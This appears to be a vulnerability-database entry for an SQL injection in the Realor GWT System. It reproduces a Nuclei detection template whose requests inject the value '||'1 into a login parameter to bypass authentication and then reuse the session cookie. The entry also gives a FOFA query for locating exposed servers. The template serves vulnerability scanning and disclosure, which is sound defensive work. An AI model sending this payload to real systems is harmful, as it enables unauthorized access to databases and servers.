realor-gwt-system-sqli: Realor GWT System SQL injection

2025-08-01 Realor GWT System PoC Public

Description

Realor GWT System system improperly handles the security of data passed by users, resulting in a SQL injection vulnerability. Remote and unauthorized attackers can use this vulnerability to obtain sensitive information in the database, and can further write webshell backdoors. Access, the attacker can execute arbitrary malicious code on the target server and gain system privileges.

PoC

id: realor-gwt-system-sqli

info:
  name: Realor GWT System SQL injection
  author: SleepingBag945
  severity: high
  description: |
    Realor GWT System system improperly handles the security of data passed by users, resulting in a SQL injection vulnerability. Remote and unauthorized attackers can use this vulnerability to obtain sensitive information in the database, and can further write webshell backdoors. Access, the attacker can execute arbitrary malicious code on the target server and gain system privileges.
  reference:
    - https://github.com/zan8in/afrog/blob/main/v2/pocs/afrog-pocs/vulnerability/realor-gwt-system-sql-injection.yaml
  classification:
    cwe-id: CWE-89
  metadata:
    verified: "true"
    max-request: 2
    fofa-query: app="REALOR-天翼应用虚拟化系统"
  tags: realor,sqli,vuln

http:
  - raw:
      - |
        GET /AgentBoard.XGI?user='||'1&cmd=UserLogin HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /Board.XGI HTTP/1.1
        Cookie: PHPSESSID={{cookie}}
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: cookie
        internal: true
        part: header
        group: 1
        regex:
          - 'PHPSESSID=(.*?);'
    matchers:
      - type: dsl
        dsl:
          - 'contains(body_1,"CustomInfo") && contains(header_1,"PHPSESSID")'
          - 'contains(body_2,"src=\"custom/")'
        condition: and
# digest: 4a0a00473045022100981582612f842ffd8a8223598cf61f3839022131b32d0f67f1a45c615ea9c49502204d0b5fd5c21428494d78d6f499ac52762214cee57b6487e0ddac21a8b430a5b3:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/realor/realor-gwt-system-sqli.yaml

References

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